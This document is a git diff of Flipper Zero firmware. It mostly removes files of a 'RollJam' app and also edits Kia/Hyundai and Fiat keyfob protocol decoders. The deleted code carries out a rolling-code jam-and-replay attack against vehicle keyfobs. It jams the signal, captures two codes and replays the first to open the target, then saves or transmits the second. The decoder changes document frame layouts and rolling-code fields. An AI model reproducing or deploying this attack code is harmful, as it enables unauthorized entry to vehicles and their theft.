RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -1,70 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Small delay for radio settling
furi_delay_ms(150);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

View File

@@ -1,17 +0,0 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -1,94 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 2) {
// "Start Attack" item
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -1,111 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

View File

@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -9,7 +9,6 @@ App(
"nfc", "nfc",
"subghz", "subghz",
"subghz_bruteforcer", "subghz_bruteforcer",
"rolljam",
"archive", "archive",
"subghz_remote", "subghz_remote",
"main_apps_on_start", "main_apps_on_start",

View File

@@ -3,7 +3,6 @@ App(
name="Basic settings apps bundle", name="Basic settings apps bundle",
apptype=FlipperAppType.METAPACKAGE, apptype=FlipperAppType.METAPACKAGE,
provides=[ provides=[
"passport",
"system_settings", "system_settings",
"clock_settings", "clock_settings",
"input_settings", "input_settings",

View File

@@ -1,15 +0,0 @@
App(
appid="passport",
name="Passport",
apptype=FlipperAppType.EXTSETTINGS,
entry_point="passport_app",
cdefines=["APP_PASSPORT"],
requires=[
"gui",
"dolphin",
],
stack_size=1 * 1024,
order=80,
fap_libs=["assets"],
fap_category="assets",
)

View File

@@ -1,112 +0,0 @@
#include <furi.h>
#include <furi_hal_version.h>
#include <gui/gui.h>
#include <dolphin/dolphin.h>
#include <dolphin/helpers/dolphin_state.h>
#include <assets_icons.h>
#define MOODS_TOTAL 3
#define BUTTHURT_MAX 3
static const Icon* const portrait_happy[BUTTHURT_MAX] = {
&I_passport_happy1_46x49,
&I_passport_happy2_46x49,
&I_passport_happy3_46x49};
static const Icon* const portrait_ok[BUTTHURT_MAX] = {
&I_passport_okay1_46x49,
&I_passport_okay2_46x49,
&I_passport_okay3_46x49};
static const Icon* const portrait_bad[BUTTHURT_MAX] = {
&I_passport_bad1_46x49,
&I_passport_bad2_46x49,
&I_passport_bad3_46x49};
static const Icon* const* portraits[MOODS_TOTAL] = {portrait_happy, portrait_ok, portrait_bad};
static void input_callback(InputEvent* input, void* ctx) {
FuriSemaphore* semaphore = ctx;
if((input->type == InputTypeShort) && (input->key == InputKeyBack)) {
furi_semaphore_release(semaphore);
}
}
static void render_callback(Canvas* canvas, void* ctx) {
DolphinStats* stats = ctx;
char level_str[20];
char mood_str[32];
uint8_t mood = 0;
if(stats->butthurt <= 4) {
mood = 0;
snprintf(mood_str, 20, "Mood: Happy");
} else if(stats->butthurt <= 9) {
mood = 1;
snprintf(mood_str, 20, "Mood: Ok");
} else {
mood = 2;
snprintf(mood_str, 20, "Mood: Angry");
}
uint32_t xp_progress = 0;
uint32_t xp_to_levelup = dolphin_state_xp_to_levelup(stats->icounter);
uint32_t xp_for_current_level =
xp_to_levelup + dolphin_state_xp_above_last_levelup(stats->icounter);
if(stats->level == 3) {
xp_progress = 0;
} else {
xp_progress = xp_to_levelup * 64 / xp_for_current_level;
}
// multipass
canvas_draw_icon(canvas, 0, 0, &I_passport_left_6x46);
canvas_draw_icon(canvas, 0, 46, &I_passport_bottom_128x18);
canvas_draw_line(canvas, 6, 0, 125, 0);
canvas_draw_line(canvas, 127, 2, 127, 47);
canvas_draw_dot(canvas, 126, 1);
// portrait
furi_assert((stats->level > 0) && (stats->level <= 3));
canvas_draw_icon(canvas, 9, 5, portraits[mood][stats->level - 1]);
canvas_draw_line(canvas, 58, 16, 123, 16);
canvas_draw_line(canvas, 58, 30, 123, 30);
canvas_draw_line(canvas, 58, 44, 123, 44);
const char* my_name = furi_hal_version_get_name_ptr();
snprintf(level_str, 20, "Level: %hu", stats->level);
canvas_draw_str(canvas, 58, 12, my_name ? my_name : "Unknown");
canvas_draw_str(canvas, 58, 26, mood_str);
canvas_draw_str(canvas, 58, 40, level_str);
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 123 - xp_progress, 47, xp_progress + 1, 6);
canvas_set_color(canvas, ColorBlack);
canvas_draw_line(canvas, 123, 47, 123, 52);
}
int32_t passport_app(void* p) {
UNUSED(p);
FuriSemaphore* semaphore = furi_semaphore_alloc(1, 0);
ViewPort* view_port = view_port_alloc();
Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN);
DolphinStats stats = dolphin_stats(dolphin);
furi_record_close(RECORD_DOLPHIN);
view_port_draw_callback_set(view_port, render_callback, &stats);
view_port_input_callback_set(view_port, input_callback, semaphore);
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
view_port_update(view_port);
furi_check(furi_semaphore_acquire(semaphore, FuriWaitForever) == FuriStatusOk);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_record_close(RECORD_GUI);
furi_semaphore_free(semaphore);
return 0;
}

0
fbt Normal file → Executable file
View File

View File

@@ -4,18 +4,26 @@
#define TAG "FiatMystery" #define TAG "FiatMystery"
// Fiat Panda "pandarella e tonino": // Suspected Magneti Marelli BSI keyfob protocol
// te_short ~260us, te_long ~520us (Manchester) // Found on: Fiat Panda (and possibly other Fiat/Lancia/Alfa ~2003-2012)
//
// RF: 433.92 MHz, Manchester encoding
// te_short ~260us, te_long ~520us
// Preamble: ~191 short-short pairs (alternating 260us HIGH/LOW) // Preamble: ~191 short-short pairs (alternating 260us HIGH/LOW)
// Gap: ~3126us LOW // Gap: ~3126us LOW
// Sync: ~2065us HIGH // Sync: ~2065us HIGH
// Data: 86 Manchester bits // Data: 88 Manchester bits (often decoded as 104 with 16-bit 0xFFFF preamble residue)
// Retransmissions: 7-8 per press // Retransmissions: 7-10 per press
//
// Frame layout (after stripping 16-bit 0xFFFF preamble):
// Bytes 0-3: Fixed ID / Serial (32 bits)
// Byte 4: Button (upper nibble) | Type (lower nibble, always 0x2)
// Bytes 5-10: Rolling/encrypted code (48 bits)
#define FIAT_MYSTERY_PREAMBLE_MIN 200 // Min preamble pulses (100 pairs) #define FIAT_MYSTERY_PREAMBLE_MIN 200 // Min preamble pulses (100 pairs)
#define FIAT_MYSTERY_GAP_MIN 2500 // Gap detection threshold (us) #define FIAT_MYSTERY_GAP_MIN 2500 // Gap detection threshold (us)
#define FIAT_MYSTERY_SYNC_MIN 1500 // Sync pulse minimum (us) #define FIAT_MYSTERY_SYNC_MIN 1500 // Sync pulse minimum (us)
#define FIAT_MYSTERY_SYNC_MAX 2600 // Sync pulse maximum (us) #define FIAT_MYSTERY_SYNC_MAX 2600 // Sync pulse maximum (us)
#define FIAT_MYSTERY_MAX_DATA_BITS 96 // Max data bits to collect #define FIAT_MYSTERY_MAX_DATA_BITS 104 // Max data bits to collect (13 bytes)
static const SubGhzBlockConst subghz_protocol_fiat_mystery_const = { static const SubGhzBlockConst subghz_protocol_fiat_mystery_const = {
.te_short = 260, .te_short = 260,
@@ -31,7 +39,7 @@ struct SubGhzProtocolDecoderFiatMystery {
ManchesterState manchester_state; ManchesterState manchester_state;
uint8_t decoder_state; uint8_t decoder_state;
uint16_t preamble_count; uint16_t preamble_count;
uint8_t raw_data[12]; // Up to 96 bits (12 bytes) uint8_t raw_data[13]; // Up to 104 bits (13 bytes)
uint8_t bit_count; uint8_t bit_count;
uint32_t extra_data; // Bits beyond first 64, right-aligned uint32_t extra_data; // Bits beyond first 64, right-aligned
uint32_t te_last; uint32_t te_last;
@@ -292,13 +300,20 @@ void subghz_protocol_decoder_fiat_mystery_feed(void* context, bool level, uint32
if(frame_complete) { if(frame_complete) {
instance->generic.data_count_bit = instance->bit_count; instance->generic.data_count_bit = instance->bit_count;
// Frame layout: bytes 0-1 are 0xFFFF preamble residue
// Bytes 2-5: Fixed ID (serial)
// Byte 6: Button (upper nibble) | subtype (lower nibble)
// Bytes 7-12: Rolling/encrypted code (48 bits)
instance->generic.serial = instance->generic.serial =
((uint32_t)instance->raw_data[4] << 24) | ((uint32_t)instance->raw_data[2] << 24) |
((uint32_t)instance->raw_data[5] << 16) | ((uint32_t)instance->raw_data[3] << 16) |
((uint32_t)instance->raw_data[6] << 8) | ((uint32_t)instance->raw_data[4] << 8) |
((uint32_t)instance->raw_data[7]); ((uint32_t)instance->raw_data[5]);
instance->generic.cnt = (uint32_t)(instance->generic.data >> 32); instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF;
instance->generic.btn = 0; instance->generic.cnt =
((uint32_t)instance->raw_data[7] << 16) |
((uint32_t)instance->raw_data[8] << 8) |
((uint32_t)instance->raw_data[9]);
FURI_LOG_I( FURI_LOG_I(
TAG, TAG,
@@ -385,22 +400,41 @@ SubGhzProtocolStatus subghz_protocol_decoder_fiat_mystery_deserialize(
return ret; return ret;
} }
static const char* fiat_mystery_button_name(uint8_t btn) {
switch(btn) {
case 0x2:
return "Btn A";
case 0x4:
return "Btn B";
default:
return "Unknown";
}
}
void subghz_protocol_decoder_fiat_mystery_get_string(void* context, FuriString* output) { void subghz_protocol_decoder_fiat_mystery_get_string(void* context, FuriString* output) {
furi_check(context); furi_check(context);
SubGhzProtocolDecoderFiatMystery* instance = context; SubGhzProtocolDecoderFiatMystery* instance = context;
uint8_t total_bytes = (instance->bit_count + 7) / 8; uint8_t total_bytes = (instance->bit_count + 7) / 8;
if(total_bytes > 12) total_bytes = 12; if(total_bytes > 13) total_bytes = 13;
furi_string_cat_printf( furi_string_cat_printf(
output, output,
"%s %dbit\r\n" "%s %dbit\r\n"
"Key:%08lX%08lX\r\n" "Sn:%08lX Btn:%s(0x%X)\r\n"
"Roll:%02X%02X%02X%02X%02X%02X\r\n"
"Data:", "Data:",
instance->generic.protocol_name, instance->generic.protocol_name,
instance->bit_count, instance->bit_count,
(uint32_t)(instance->generic.data >> 32), instance->generic.serial,
(uint32_t)(instance->generic.data & 0xFFFFFFFF)); fiat_mystery_button_name(instance->generic.btn),
instance->generic.btn,
instance->raw_data[7],
instance->raw_data[8],
instance->raw_data[9],
(total_bytes > 10) ? instance->raw_data[10] : 0,
(total_bytes > 11) ? instance->raw_data[11] : 0,
(total_bytes > 12) ? instance->raw_data[12] : 0);
for(uint8_t i = 0; i < total_bytes; i++) { for(uint8_t i = 0; i < total_bytes; i++) {
furi_string_cat_printf(output, "%02X", instance->raw_data[i]); furi_string_cat_printf(output, "%02X", instance->raw_data[i]);

View File

@@ -1,6 +1,13 @@
#include "kia_v0.h" #include "kia_v0.h"
#include "../blocks/custom_btn_i.h" #include "../blocks/custom_btn_i.h"
static const char* kia_v0_btn_name(uint8_t btn) {
if(btn == 0x01) return "Lock";
if(btn == 0x02) return "Unlock";
if(btn == 0x03) return "Boot";
return "?";
}
static uint8_t kia_v0_get_btn_code() { static uint8_t kia_v0_get_btn_code() {
uint8_t custom_btn = subghz_custom_btn_get(); uint8_t custom_btn = subghz_custom_btn_get();
uint8_t original_btn = subghz_custom_btn_get_original(); uint8_t original_btn = subghz_custom_btn_get_original();
@@ -259,6 +266,7 @@ SubGhzProtocolStatus
furi_check(context); furi_check(context);
SubGhzProtocolEncoderKIA* instance = context; SubGhzProtocolEncoderKIA* instance = context;
flipper_format_rewind(flipper_format);
instance->encoder.is_running = false; instance->encoder.is_running = false;
instance->encoder.front = 0; instance->encoder.front = 0;
instance->encoder.repeat = 10; instance->encoder.repeat = 10;
@@ -370,8 +378,7 @@ SubGhzProtocolStatus
} else { } else {
instance->button = (key >> 8) & 0x0F; instance->button = (key >> 8) & 0x0F;
} }
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->button);
subghz_custom_btn_set_original(instance->button);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
instance->button = kia_v0_get_btn_code(); instance->button = kia_v0_get_btn_code();
@@ -726,8 +733,7 @@ void subghz_protocol_decoder_kia_get_string(void* context, FuriString* output) {
SubGhzProtocolDecoderKIA* instance = context; SubGhzProtocolDecoderKIA* instance = context;
subghz_protocol_kia_check_remote_controller(&instance->generic); subghz_protocol_kia_check_remote_controller(&instance->generic);
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
uint32_t code_found_hi = instance->generic.data >> 32; uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff; uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
@@ -740,14 +746,14 @@ void subghz_protocol_decoder_kia_get_string(void* context, FuriString* output) {
output, output,
"%s %dbit\r\n" "%s %dbit\r\n"
"Key:%08lX%08lX\r\n" "Key:%08lX%08lX\r\n"
"Sn:%07lX Btn:%X Cnt:%04lX\r\n" "Sn:%07lX Btn:[%s] Cnt:%04lX\r\n"
"CRC:%02X %s\r\n", "CRC:%02X %s\r\n",
instance->generic.protocol_name, instance->generic.protocol_name,
instance->generic.data_count_bit, instance->generic.data_count_bit,
code_found_hi, code_found_hi,
code_found_lo, code_found_lo,
instance->generic.serial, instance->generic.serial,
kia_v0_get_btn_code(), kia_v0_btn_name(kia_v0_get_btn_code()),
instance->generic.cnt, instance->generic.cnt,
received_crc, received_crc,
crc_valid ? "(OK)" : "(FAIL)"); crc_valid ? "(OK)" : "(FAIL)");

View File

@@ -3,7 +3,7 @@
#include "kia_generic.h" #include "kia_generic.h"
#define KIA_PROTOCOL_V0_NAME "Kia V0" #define KIA_PROTOCOL_V0_NAME "KIA/HYU V0"
typedef struct SubGhzProtocolDecoderKIA SubGhzProtocolDecoderKIA; typedef struct SubGhzProtocolDecoderKIA SubGhzProtocolDecoderKIA;
typedef struct SubGhzProtocolEncoderKIA SubGhzProtocolEncoderKIA; typedef struct SubGhzProtocolEncoderKIA SubGhzProtocolEncoderKIA;

View File

@@ -327,8 +327,7 @@ SubGhzProtocolStatus
} else { } else {
instance->generic.btn = (instance->generic.data >> 16) & 0xFF; instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
} }
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
instance->generic.btn = kia_v1_get_btn_code(); instance->generic.btn = kia_v1_get_btn_code();
@@ -596,8 +595,7 @@ void kia_protocol_decoder_v1_get_string(void* context, FuriString* output) {
SubGhzProtocolDecoderKiaV1* instance = context; SubGhzProtocolDecoderKiaV1* instance = context;
kia_v1_check_remote_controller(instance); kia_v1_check_remote_controller(instance);
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
uint32_t code_found_hi = instance->generic.data >> 32; uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0xFFFFFFFF; uint32_t code_found_lo = instance->generic.data & 0xFFFFFFFF;

View File

@@ -3,7 +3,7 @@
#include "kia_generic.h" #include "kia_generic.h"
#define KIA_PROTOCOL_V1_NAME "Kia V1" #define KIA_PROTOCOL_V1_NAME "KIA/HYU V1"
typedef struct SubGhzProtocolDecoderKiaV1 SubGhzProtocolDecoderKiaV1; typedef struct SubGhzProtocolDecoderKiaV1 SubGhzProtocolDecoderKiaV1;
typedef struct SubGhzProtocolEncoderKiaV1 SubGhzProtocolEncoderKiaV1; typedef struct SubGhzProtocolEncoderKiaV1 SubGhzProtocolEncoderKiaV1;

View File

@@ -265,8 +265,7 @@ SubGhzProtocolStatus
} else { } else {
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F); instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
} }
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
instance->generic.btn = kia_v2_get_btn_code(); instance->generic.btn = kia_v2_get_btn_code();
@@ -538,8 +537,7 @@ SubGhzProtocolStatus
void kia_protocol_decoder_v2_get_string(void* context, FuriString* output) { void kia_protocol_decoder_v2_get_string(void* context, FuriString* output) {
furi_check(context); furi_check(context);
SubGhzProtocolDecoderKiaV2* instance = context; SubGhzProtocolDecoderKiaV2* instance = context;
if(subghz_custom_btn_get_original() == 0) subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_original(instance->generic.btn);
subghz_custom_btn_set_max(4); subghz_custom_btn_set_max(4);
uint8_t crc = instance->generic.data & 0x0F; uint8_t crc = instance->generic.data & 0x0F;

View File

@@ -4,7 +4,7 @@
#include <lib/toolbox/manchester_decoder.h> #include <lib/toolbox/manchester_decoder.h>
#define KIA_PROTOCOL_V2_NAME "Kia V2" #define KIA_PROTOCOL_V2_NAME "KIA/HYU V2"
typedef struct SubGhzProtocolDecoderKiaV2 SubGhzProtocolDecoderKiaV2; typedef struct SubGhzProtocolDecoderKiaV2 SubGhzProtocolDecoderKiaV2;
typedef struct SubGhzProtocolEncoderKiaV2 SubGhzProtocolEncoderKiaV2; typedef struct SubGhzProtocolEncoderKiaV2 SubGhzProtocolEncoderKiaV2;

File diff suppressed because it is too large Load Diff

View File

@@ -1,37 +1,31 @@
#pragma once #pragma once
#include "kia_generic.h" #include "base.h"
#include "../blocks/math.h"
#define SUBGHZ_PROTOCOL_KIA_V3_V4_NAME "KIA/HYU V3/V4"
#define KIA_PROTOCOL_V3_V4_NAME "Kia V3/V4" typedef struct SubGhzProtocolDecoderKiaV3V4 SubGhzProtocolDecoderKiaV3V4;
typedef struct SubGhzProtocolEncoderKiaV3V4 SubGhzProtocolEncoderKiaV3V4;
extern const SubGhzProtocol subghz_protocol_kia_v3_v4; extern const SubGhzProtocol subghz_protocol_kia_v3_v4;
// Decoder functions void* subghz_protocol_decoder_kia_v3_v4_alloc(SubGhzEnvironment* environment);
void* kia_protocol_decoder_v3_v4_alloc(SubGhzEnvironment* environment); void subghz_protocol_decoder_kia_v3_v4_free(void* context);
void kia_protocol_decoder_v3_v4_free(void* context); void subghz_protocol_decoder_kia_v3_v4_reset(void* context);
void kia_protocol_decoder_v3_v4_reset(void* context); void subghz_protocol_decoder_kia_v3_v4_feed(void* context, bool level, uint32_t duration);
void kia_protocol_decoder_v3_v4_feed(void* context, bool level, uint32_t duration); uint8_t subghz_protocol_decoder_kia_v3_v4_get_hash_data(void* context);
uint8_t kia_protocol_decoder_v3_v4_get_hash_data(void* context); SubGhzProtocolStatus subghz_protocol_decoder_kia_v3_v4_serialize(
SubGhzProtocolStatus kia_protocol_decoder_v3_v4_serialize(
void* context, void* context,
FlipperFormat* flipper_format, FlipperFormat* flipper_format,
SubGhzRadioPreset* preset); SubGhzRadioPreset* preset);
SubGhzProtocolStatus SubGhzProtocolStatus
kia_protocol_decoder_v3_v4_deserialize(void* context, FlipperFormat* flipper_format); subghz_protocol_decoder_kia_v3_v4_deserialize(void* context, FlipperFormat* flipper_format);
